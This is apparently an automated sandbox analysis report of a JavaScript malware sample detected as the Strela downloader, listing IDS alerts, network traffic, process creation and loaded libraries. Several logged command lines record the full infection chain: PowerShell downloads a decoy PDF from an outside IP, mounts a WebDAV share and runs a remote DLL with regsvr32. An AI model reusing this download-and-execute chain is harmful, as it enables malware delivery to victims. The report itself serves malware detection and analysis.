Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.10:49732 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1308288686.0000028FD393B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1377557217.000002AA612B8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1377557217.000002AA612F4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1377557217.000002AA61311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1377557217.000002AA612F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Gc
Source: net.exe, 00000007.00000002.1377557217.000002AA612B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/a
Source: svchost.exe, 00000009.00000002.2597404931.000001B3E4000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1392406037.000001B3E3DD0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 8124, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 51406528193621400.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1472:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_upe1ienn.m5x.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\51406528193621400.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2164 --field-trial-handle=1524,i,7185676224181079761,2214675722304676430,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2164 --field-trial-handle=1524,i,7185676224181079761,2214675722304676430,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
